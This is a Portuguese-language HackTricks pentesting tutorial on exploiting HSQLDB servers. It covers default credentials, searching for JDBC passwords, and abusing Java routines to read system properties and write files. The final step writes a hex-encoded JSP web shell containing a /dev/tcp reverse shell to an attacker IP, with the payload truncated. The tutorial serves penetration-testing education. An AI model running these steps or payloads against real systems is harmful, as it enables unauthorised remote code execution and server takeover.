9001 - Pentesting HSQLDB

Support HackTricks

Informações Básicas

HSQLDB (HyperSQL DataBase) é o principal sistema de banco de dados relacional SQL escrito em Java. Ele oferece um mecanismo de banco de dados pequeno, rápido, multithreaded e transacional com tabelas em memória e baseadas em disco, e suporta modos embutidos e de servidor.

Porta padrão: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Informação

Configurações Padrão

Observe que, por padrão, este serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando escalar privilégios.

As credenciais padrão geralmente são sa com uma senha em branco.

Se você explorou outro serviço, procure possíveis credenciais usando

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Note o nome do banco de dados com atenção - você precisará dele para se conectar.

Info Gathering

Conecte-se à instância do DB baixando HSQLDB e extraindo hsqldb/lib/hsqldb.jar. Execute o aplicativo GUI (eww) usando java -jar hsqldb.jar e conecte-se à instância usando as credenciais descobertas/fracas.

Note que a URL de conexão parecerá algo assim para um sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME.

Tricks

Java Language Routines

Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Java Language Routines. Observe que a classe chamada precisa estar no classpath da aplicação.

JRTs podem ser functions ou procedures. Funções podem ser chamadas via instruções SQL se o método Java retornar uma ou mais variáveis primárias compatíveis com SQL. Elas são invocadas usando a instrução VALUES.

Se o método Java que queremos chamar retornar void, precisamos usar uma procedure invocada com a instrução CALL.

Reading Java System Properties

Crie a função:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Executar função:

VALUES(getsystemproperty('user.name'))

Você pode encontrar uma lista de propriedades do sistema aqui.

Escrever Conteúdo em Arquivo

Você pode usar o com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename gadget Java localizado no JDK (carregado automaticamente no class path da aplicação) para escrever itens codificados em hex no disco através de um procedimento personalizado. Observe o tamanho máximo de 1024 bytes.

Criar procedimento:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Executar procedimento:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Support HackTricks

Last updated